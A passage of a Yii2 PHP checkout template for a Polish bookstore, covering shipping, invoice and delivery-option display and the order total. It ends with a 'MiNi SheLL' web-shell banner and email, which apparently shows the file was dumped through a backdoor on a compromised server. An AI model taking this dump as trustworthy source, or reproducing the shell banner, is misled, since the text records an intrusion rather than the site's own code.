                            <?= $form->field($modelForm, 'id_company', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 
                                'template' => "<div class=\"col-sm-10 col-sm-push-1 only-company-field\">{input}</div>\n{hint}\n{error}",
                                'options' => ['class' => 'form-group row'],
                                'inputOptions' => ['class' => 'col-sm-10 col-sm-push-1']
                            ])->radioList(
                                $userCompanies + ['' => 'Inna ...'],
                                [
                                    'item' => function ($index, $label, $name, $checked, $value) {
                                        $output = '<div>';                                
                                        $output .= '<input type="radio" name="'.$name.'" value="'.$value.'" id="radio_company_name_'.($index+1).'"'.($checked ? ' checked' : '').' class="radio populate-form" '
                                                    . 'data-field-id_company="'.$value.'" ';                                
                                        $output .= '><label for="radio_company_name_'.($index+1).'"></label>';
                                        $output .= ' '.$label;
                                        $output .= '</div>';

                                        return $output;
                                    }
                                ]
                            ) ?>                
                        <?php endif; ?>                        

                    </div>
            <div class="clearfix"></div>
            
                <div class="v-form" id="v-order">
                    <div class="row">
                        
                        <h4><b style="font-weight: 800 !important;">Dane odbiorcy przesyłki</b></h4>

                        <p class="mt1" id="vjs-selected-shippinig-data-container">
                            <?php if(!empty($modelForm->forename) || !empty($modelForm->surname)): ?>
                                <?= $modelForm->forename ? Html::encode($modelForm->forename) : '' ?>
                                <?= $modelForm->surname ? ' '.Html::encode($modelForm->surname) : '' ?>
                                <br>
                            <?php endif; ?>                        
                            <?php if(!empty($modelForm->shipping_street)): ?>
                                <?= Html::encode($modelForm->shipping_street) ?>
                                <?php if(!empty($modelForm->shipping_building_number)): ?>
                                    <?= Html::encode($modelForm->shipping_building_number) ?>
                                    <?php if(!empty($modelForm->shipping_apartment_number)): ?> /<?= Html::encode($modelForm->shipping_apartment_number) ?><?php endif; ?>
                                <?php endif; ?>
                                <br>
                            <?php endif; ?>
                            <?php if(!empty($modelForm->shipping_postcode) || !empty($modelForm->shipping_locality)): ?>
                                <?= $modelForm->shipping_postcode ? Html::encode($modelForm->shipping_postcode) : '' ?><?= $modelForm->shipping_locality ? ' '.Html::encode($modelForm->shipping_locality) : '' ?>
                                <?php if($modelForm->shipping_id_country !== 'PL'): ?> (<?= Countries::find()->select(['name'])->where(['id_country' => $modelForm->shipping_id_country])->scalar() ?>)<?php endif; ?>
                                <br>
                            <?php endif; ?>
                            <?php if(!empty($modelForm->phone)): ?>tel.: <?= Html::encode($modelForm->phone) ?><br><?php endif; ?>
                            <?php if(!empty($modelForm->email)): ?>email: <?= Html::encode($modelForm->email) ?><br><?php endif; ?>
                        </p>
                        <span id="vjs-shipping-data-button" class="mb1 v-more vjs-shopping-data-modal-button" data-url="<?= Url::to(['ustawienia/adresy-zamawiajacego']) ?>">
                            ZMIEŃ ADRES 
                        </span>
                        <span id="vjs-shipping-data-error-message" class="mb1" style="display: none; color: red; font-weight: bold;"></span>                

                        <h5 class="mt1"><b>Potrzebujesz faktury do zamówienia?</b></h5>

                        <?= $form->field($modelForm, 'or_invoice', ['options' => ['class' => 'checkbox mb1']])->begin(); ?>
                            <label>
                                <?= Html::checkbox('BookstoreOrderForm[or_invoice]', $modelForm->or_invoice ? true : false, ['id' => 'bookstoreorderform-or_invoice']) ?>
                                <span></span>Chcę otrzymać fakturę
                            </label>
                            <?= Html::error($modelForm, 'or_invoice', ['tag' => 'p', 'class' => 'help-block help-block-error']); ?>
                        <?= $form->field($modelForm, 'or_invoice')->end(); ?>

                        <div id="faktura" style="display:none;">
                            
                        <small>Jeżeli w tym kroku nie podasz NIP'u i innych danych firmowych,<br>możesz nie otrzymać faktury za ten zakup.</small>

                        <p class="gray mt1">Dane firmy do faktury</p>
                        <p id="vjs-selected-data-to-account-container">
                            <?php if(!empty($modelForm->invoicing_name)): ?><?= Html::encode($modelForm->invoicing_name) ?><br><?php endif; ?>
                            <?php if(!empty($modelForm->invoicing_street)): ?>
                                <?= Html::encode($modelForm->invoicing_street) ?>
                                <?php if(!empty($modelForm->invoicing_building_number)): ?>
                                    <?= Html::encode($modelForm->invoicing_building_number) ?>
                                    <?php if(!empty($modelForm->invoicing_apartment_number)): ?> /<?= Html::encode($modelForm->invoicing_apartment_number) ?><?php endif; ?>
                                <?php endif; ?>
                                <br>
                            <?php endif; ?>
                            <?php if(!empty($modelForm->invoicing_postcode) || !empty($modelForm->invoicing_locality)): ?>
                                <?= $modelForm->invoicing_postcode ? Html::encode($modelForm->invoicing_postcode) : '' ?><?= $modelForm->invoicing_locality ? ' '.Html::encode($modelForm->invoicing_locality) : '' ?>
                                <?php if($modelForm->invoicing_id_country !== 'PL'): ?> (<?= Countries::find()->select(['name'])->where(['id_country' => $modelForm->invoicing_id_country])->scalar() ?>)<?php endif; ?>
                                <br>
                            <?php endif; ?>
                            <?php if(!empty($modelForm->invoicing_tax_id)): ?>NIP: <?= Html::encode($modelForm->invoicing_tax_id) ?><?php endif; ?>
                        </p>
                        <span id="vjs-data-to-account-button" class="mb1 v-more vjs-data-to-account-modal-button" data-url="<?= Url::to(['ustawienia/dane-do-rozliczen']) ?>">
                            ZMIEŃ DANE 
                        </span>     
                        <span id="vjs-data-to-account-error-message" class="mb1" style="display: none; color: red; font-weight: bold;"></span>
                        
                        </div>

                        <hr>

                        <h4><b style="font-weight: 800 !important;">Oferty i sposób dostawy</b></h4>

                        <table class="table table-hover">
                            <tbody> 
                                <?php if(!empty($modelsCompanies)): ?>
                                    <?php foreach($modelsCompanies as $modelCompany): ?>
                                        <tr> 
                                            <th colspan="2" style="border-color: #FFF;"><b style="font-size:16px;">Sprzedający <a href="<?= Url::to(['ksiegarnia/katalog-new', 'id_company' => $modelCompany->id_company]) ?>"><?= Html::encode($modelCompany->name) ?></a></b></th> 
                                        </tr>
                                        <?php if(!empty($itemsByCompanies[$modelCompany->id_company])): ?>
                                            <?php foreach($itemsByCompanies[$modelCompany->id_company] as $item): ?>
                                                <tr> 
                                                    <td>
                                                        <div class="block-row">
                                                        <?php if(!empty($item['image_url'])): ?>
                                                            <a href="<?= Url::to(['ksiegarnia/pozycja', 'id' => $item['id_book'], 'slug' => SlugGenerator::generate($item['title'])]) ?>" target="_blank" rel="nofollow noopener noreferrer">
                                                                <img loading="lazy" class="mt1 mb1" width="65"  src="<?= $item['image_url'] ?>" alt="<?= Html::encode($item['title']) ?>">
                                                            </a>
                                                        <?php endif; ?>
                                                            <div>
                                                                <p class="nomargin">
                                                                   <?= Html::encode($item['title']) ?><br>
                                                                   <small>Wersja: <?php if($item['or_electronic_version'] === 1): ?>elektroniczna<?php else: ?>papierowa<?php endif; ?></small><br>
                                                                   <small class="gray"><?= $item['pcs'] ?> x <?= $item['price'] ?> zł</small>
                                                                </p>
                                                            </div>
                                                        </div>
                                                    </td> 
                                                    <td class="v-book-info text-right">
                                                        <?php 
                                                             $amount = ((float)$item['price'])*((int)$item['pcs']);
                                                             $totalAmount += $amount;
                                                             $amountParts = explode('.', number_format($amount, 2, '.', ''));
                                                         ?>
                                                        <var class="nomargin nowrap"><big><?= $amountParts[0] ?></big>,<?= $amountParts[1] ?> zł</var>
                                                    </td> 
                                                </tr>
                                            <?php endforeach; ?>
                                        <?php endif; ?>

                                        <?php if(!empty($itemsSubscriptionsByCompanies[$modelCompany->id_company])): ?>
                                            <?php foreach($itemsSubscriptionsByCompanies[$modelCompany->id_company] as $item): ?>
                                                <tr> 
                                                    <td>
                                                        <div class="block-row">
                                                        <?php if(!empty($item['image_url'])): ?>
                                                            <a href="<?= Url::to(['ksiegarnia/pozycja', 'id' => $item['id_book'], 'slug' => SlugGenerator::generate($item['title'])]) ?>" target="_blank" rel="nofollow noopener noreferrer">
                                                                <img loading="lazy" class="mt1 mb1" width="65"  src="<?= $item['image_url'] ?>" alt="<?= Html::encode($item['title']) ?>">
                                                            </a>
                                                        <?php endif; ?>
                                                            <div>
                                                                <p class="nomargin">
                                                                   <?= Html::encode($item['title']) ?><br>
                                                                   <small>Wersja: <?php if($item['or_electronic_version'] === 1): ?>elektroniczna<?php else: ?>papierowa<?php endif; ?></small><br>
                                                                   <small class="gray"><?= $item['pcs'] ?> x <?= $item['price'] ?> zł</small>
                                                                </p>
                                                            </div>
                                                        </div>
                                                    </td> 
                                                    <td class="v-book-info text-right">
                                                        <?php 
                                                             $amount = ((float)$item['price'])*((int)$item['pcs']);
                                                             $totalAmount += $amount;
                                                             $amountParts = explode('.', number_format($amount, 2, '.', ''));
                                                         ?>
                                                        <var class="nomargin nowrap"><big><?= $amountParts[0] ?></big>,<?= $amountParts[1] ?> zł</var>
                                                    </td> 
                                                </tr>
                                            <?php endforeach; ?>
                                        <?php endif; ?>    
                                        <tr> 
                                            <th colspan="2" style="border-color: #FFF;"><b style="font-size:16px;">Wybierz sposób dostawy:</b></th> 
                                        </tr>
                                        <?php if(!empty($modelsOrdersDeliveries[$modelCompany->id_company])): ?>
                                            <?php 
                                                $deliveryOptions = $priceListsForCompanies[$modelCompany->id_company]; 
                                                $idCompany = $modelCompany->id_company;
                                            ?>

                                            <tr> 
                                                <td colspan="2" style="border-color: #FFF;">
                                                <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']deliveryOption', [
                                                    'enableClientValidation' => false, 'enableAjaxValidation' => true,
                                                    'template' => "<div class=\"\">{input}</div>\n{hint}\n{error}",
                                                    'options' => ['class' => '-form-group'],
                                                    'inputOptions' => ['class' => '']
                                                ])->radioList(
                                                    $modelsOrdersDeliveries[$modelCompany->id_company]->getDeliveryOptionsList(),
                                                    [
                                                        'item' => function ($index, $label, $name, $checked, $value) use ($deliveryOptions, $idCompany) {               
                                                            $output = '<div class="mb05" style="position:relative;">';
                                                            $output .= '<input class="vjs-delivery-option" data-amount="'.number_format($deliveryOptions[$value]['amount'], 2, '.', '').'" style="position:absolute;" type="radio" id="c'.$idCompany.'-delivery-option-'.$value.'" name="'.$name.'" value="'.$value.'"'.($checked ? ' checked' : '').' data-delivery-method="'.$deliveryOptions[$value]['method'].'" data-cash-on-delivery="'.$deliveryOptions[$value]['or_cash_on_delivery'].'" data-id-company="'.$idCompany.'">';
                                                            $output .= '<label for="c'.$idCompany.'-delivery-option-'.$value.'" style="position:absolute;"></label> <div style="display:inline-block;vertical-align:text-top;width:100%;padding-left:20px;">';/*.$label;*/
                                                            $output .= '<span style="float:right;">'.number_format($deliveryOptions[$value]['amount'], 2, ',', '').' zł</span>';
                                                            $output .= $deliveryOptions[$value]['method'].'<br>';
                                                            $output .= 'Sposób płatności: '.($deliveryOptions[$value]['or_cash_on_delivery']?'Pobranie':'Przedpłata').'<br>';
                                                            $output .= 'Czas dostawy: '.$deliveryOptions[$value]['time'].' dni';
                                                            list($minDeliveryTime, $maxDeliveryTime) = array_map('trim', explode(' - ',$deliveryOptions[$value]['time']));
                                                            $dateMin = (new \DateTime())->modify('+'.$minDeliveryTime.' days');
                                                            $dateMax = (new \DateTime())->modify('+'.$maxDeliveryTime.' days');
                                                            $labelsForDaysOfWeek = [
                                                                0 => 'niedzielę',
                                                                1 => 'poniedziałek',
                                                                2 => 'wtorek',
                                                                3 => 'środę',
                                                                4 => 'czwartek',
                                                                5 => 'piątek',
                                                                6 => 'sobotę'
                                                            ];
                                                            if($maxDeliveryTime < 7) $output .= ' (w '.$labelsForDaysOfWeek[(int)$dateMin->format('w')].'-'.$labelsForDaysOfWeek[(int)$dateMax->format('w')].' u Ciebie)';
                                                            #$output .= '<br>'.$label;
                                                            $output .= '</div></div>';

                                                            return $output;
                                                        }
                                                    ]
                                                ) ?>
                                                <?= Html::activeHiddenInput($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']deliveryMethod', ['enableClientValidation' => false, 'enableAjaxValidation' => true,]) ?>

                                            <div id="select-pickup-point-container-<?= $idCompany ?>" style="display: none;" class="row">
                                                <div class="col-sm-4">
                                                <?= Html::button(Yii::t('backend', 'USTAW PUNKT ODBIORU'), ['class' => 'btn v-more vjs-select-pickup-point-button', 'data' => ['id-company' => $modelCompany->id_company, 'url' => Url::to(['ksiegarniakoszyk/wybierz-punkt-odbioru', 'order_type' => 'bookstore'])]]) ?>
                                                <?= Html::button(Yii::t('backend', 'USTAW PUNKT ODBIORU'), ['id' => 'c'.$idCompany.'-select-pickup-point-ruch-all-button', 'class' => 'btn v-more']) ?>
                                                <?= Html::button(Yii::t('backend', 'USTAW PUNKT ODBIORU'), ['id' => 'c'.$idCompany.'-select-pickup-point-ruch-cash-on-delivery-button', 'class' => 'btn v-more']) ?>
                                                </div>
                                                <div class="col-sm-3 col-xs-4">
                                                    <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']pickupPointCode', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'template' => "{input}\n{label}\n{hint}\n{error}", 'options' => ['class' => '-col-md-2']])->textInput(['maxlength' => true, 'readonly' => true]) ?>
                                                </div>
                                                <div class="col-sm-5 col-xs-8">
                                                    <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']pickupPointAddress', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'template' => "{input}\n{label}\n{hint}\n{error}", 'options' => ['class' => '-col-md-8']])->textInput(['maxlength' => true, 'readonly' => true]) ?>
                                                </div>
                                            </div>   
                                                </td>
                                            </tr>
                                            <tr> 
                                                <td colspan="2" style="border-color: #FFF;">
                                                    <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']messageForDealer', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'options' => ['class' => 'col-md-12']])->textarea(['rows' => 3]) ?>
                                                </td> 
                                            </tr>
                                        <?php else: ?>
                                            <tr> 
                                                <td colspan="2" style="border-color: #FFF;">
                                                    Nie udało się automatycznie ustalić kompatybilnej dla całego zamówienia kosztów dostawy - sprzedawca skontaktuje się z Tobą po złożeniu zamówienia.
                                                </td> 
                                            </tr>
                                        <?php endif; ?>
                                    <?php endforeach; ?>    
                                <?php endif; ?>
                            </tbody> 
                        </table>

                        <h4><b style="font-weight: 800 !important;">Metoda płatności</b></h4>

                        
                        <p>
                            <img src="<?= Yii::$app->params['frontendBaseUrl'].'/images/payu/'; ?>przelewy24.png" alt="przelewy24" style="width: 150px; float: left; margin-right: 10px;"> 
                            Płatności obsługuje platforma Przelewy24.<br>
                            Po złożeniu zamówienia zostaniesz przekierowana/y na stronę Przelewy24, gdzie wybierzesz sposób płatności (przelew elektroniczny, BLIK, przelew tradycyjny).
                        </p>
                        
                        <?php /*
                        <style>
                            .v-radios .btn {
                                text-align: left;
                                background: transparent !important;
                                outline: none !important;
                                padding: 10px 5px;
                            }
                            .v-radios .btn.active {
                                box-shadow: #1bb826 0 0 0 2px;
                            }
                            @media(max-width:767px){
                                .btn-group-justified>.btn, .btn-group-justified>.btn-group {
                                    display: block;
                                    width: 100%;
                                }
                            }               
                        </style>    

                        <div class="btn-group btn-group-justified v-radios" data-toggle="buttons">
                            <label class="btn btn-default">
                                <input type="radio"> <img src="<?= Yii::$app->params['frontendBaseUrl'].'/images/payu/'; ?>visa.jpg" width="66" height="43" alt="visa"> karta płatnicza
                            </label>
                            <label class="btn btn-default">
                              <input type="radio"> <img src="<?= Yii::$app->params['frontendBaseUrl'].'/images/payu/'; ?>blik.jpg" width="66" height="43" alt="blik"> BLIK
                            </label>
                            <label class="btn btn-default active">
                              <input type="radio" checked> <img src="<?= Yii::$app->params['frontendBaseUrl'].'/images/payu/'; ?>mbank.jpg" width="66" height="43" alt="mbank"> szybki przelew
                            </label>
                        </div>

                        <small class="block mt1">Płatność obsługiwana przez PayU.</small>
                         * 
                         * 
                         */?>

                    </div>
                </div>

                <div class="row" style="-border-top:4px solid red;-margin-top:100px;">                

                    <?php foreach(['forename', 'surname', 'shipping_company_name', 'email', 'phone', 'shipping_postcode', 'shipping_locality', 'shipping_street', 'shipping_building_number', 'shipping_apartment_number', 'shipping_address_cont'] as $attribute): ?>
                        <?= $form->field($modelForm, $attribute, ['enableLabel' => false, 'template' => "{label}\n{input}\n{hint}"])->hiddenInput() ?>
                    <?php endforeach; ?>

                    <?= $form->field($modelForm, 'shipping_id_country', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'enableLabel' => false, 'template' => "{label}\n{input}\n{hint}"])->hiddenInput() ?>

                    <?php foreach(['invoicing_name', 'invoicing_tax_id', 'invoicing_postcode', 'invoicing_locality', 'invoicing_street', 'invoicing_building_number', 'invoicing_apartment_number'] as $attribute): ?>
                        <?= $form->field($modelForm, $attribute, ['enableLabel' => false, 'template' => "{label}\n{input}\n{hint}"])->hiddenInput() ?>
                    <?php endforeach; ?>

                    <?= $form->field($modelForm, 'invoicing_id_country', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'enableLabel' => false, 'template' => "{label}\n{input}\n{hint}"])->hiddenInput() ?>

                </div>
                <div class="clearfix"></div>            
            </div>

            <div class="col-md-3 pt08 tab-right stick">
                <h2 class="header portal-color portal-light-background">
                    <span class="portal-border"><?= Yii::t('frontend', 'Podsumowanie') ?></span>
                </h2>  

                <div class="v-form v-book-info full">
                    <div class="block text-right mt1">
                        <?php
                        $amountParts = explode('.', number_format($totalAmount, 2, '.', ''));
                        ?>
                        <p class="nomargin block text-left">Wartość przedmiotów<span class="pull-right" id="przedmioty" data-amount="<?= number_format($totalAmount, 2, '.', '') ?>"><?= $amountParts[0] ?>,<?= $amountParts[1] ?> zł</span></p>
                        <p class="nomargin block text-left">Dostawa<span class="pull-right" id="dostawa">0,00 zł</span></p>
                        <hr>
                        <small>DO ZAPŁATY</small>
                        <var class="nomargin nowrap inline"><big style="font-size:25px;" id="zloty"><?= $amountParts[0] ?></big>,<span id="groszy"><?= $amountParts[1] ?></span> zł</var>
                    </div>
                    <?= Html::submitButton('KUPUJĘ i PŁACĘ', ['class' => 'btn btn-orange form-control mt1 mb1']) ?>
                    <!--<a href="#" class="btn btn-orange form-control mt1 mb1">KUPUJĘ i PŁACĘ</a>-->
                    <small>Klikając w ten przycisk potwierdzasz zakup i akceptujesz <a href="<?= Yii::$app->params['frontendBaseUrl'].'/attachments/'; ?>Portale_Vertica_Regulamin.pdf" target="_blank" rel="nofollow noopener noreferrer"><strong>regulamin</strong></a>.</small>
                </div>                    
            </div> 
        
        <?php ActiveForm::end(); ?>
    </div>
</div>

Creat By MiNi SheLL
Email: jattceo@gmail.com